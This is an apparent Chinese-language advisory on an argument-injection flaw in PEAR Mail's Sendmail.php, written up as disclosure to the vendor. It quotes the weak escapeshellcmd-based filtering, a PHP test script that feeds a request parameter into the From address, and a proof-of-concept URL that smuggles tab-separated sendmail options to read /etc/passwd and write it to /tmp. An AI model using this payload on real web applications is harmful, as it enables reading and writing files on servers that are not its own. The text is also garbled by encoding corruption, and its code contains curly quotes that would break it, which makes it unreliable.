出現(xiàn)問題的地方位于Sendmail.php

......
if (!isset($from)) {
return PEAR::raiseError('No from address given.');
} elseif (strpos($from, ' ') !== false ||
strpos($from, ';') !== false ||
strpos($from, '&') !== false ||
strpos($from, '`') !== false) {
return PEAR::raiseError('From address specified with dangerous characters.');
}

$from = escapeShellCmd($from);
$mail = @popen($this->sendmail_path . (!empty($this->sendmail_args) ? ' ' . $this->sendmail_args : '') . " -f$from -- $recipients", 'w');
if (!$mail) {
return PEAR::raiseError('Failed to open sendmail [' . $this->sendmail_path . '] for execution.’);
}
……

可以看到$from 變量的過濾并不完全，由于escapeShellCmd會將\等字符替換為空，即可繞過對空格的檢查，而escapeshellcmd本身并不檢查對于參數(shù)的調用，所以導致安全漏洞的發(fā)生。

漏洞測試：

<?php
ini_set('include_path',ini_get('include_path').':/usr/local/lib/php/PEAR:');
require_once("Mail.php");
$from = "From: " . $_REQUEST['email'] . “\r\n”;
$to = “xxxxxxx@zzzz.com”;
$subj = “subscription request”;
$body = “subscribe me”;
$hdrs = array(
“To” => $to,
“Cc” => $cc,
“Bcc” => $bcc,
“From” => $from,
“Subject” => $subject,
);
$body=”test”;
$mail =& Mail::factory(’sendmail’);
$mail->send($to, $hdrs, $body);
?>

http://www.80sec.com/index.php?1=3&email=xxxxx%09-C%09/etc/passwd%09-X%09/tmp/wokao%09zzz@x%09.com&l=2&1=3

即可看到此漏洞的利用。

漏洞影響：所有PEAR的Mail函數(shù)包
漏洞狀態(tài)：通知官方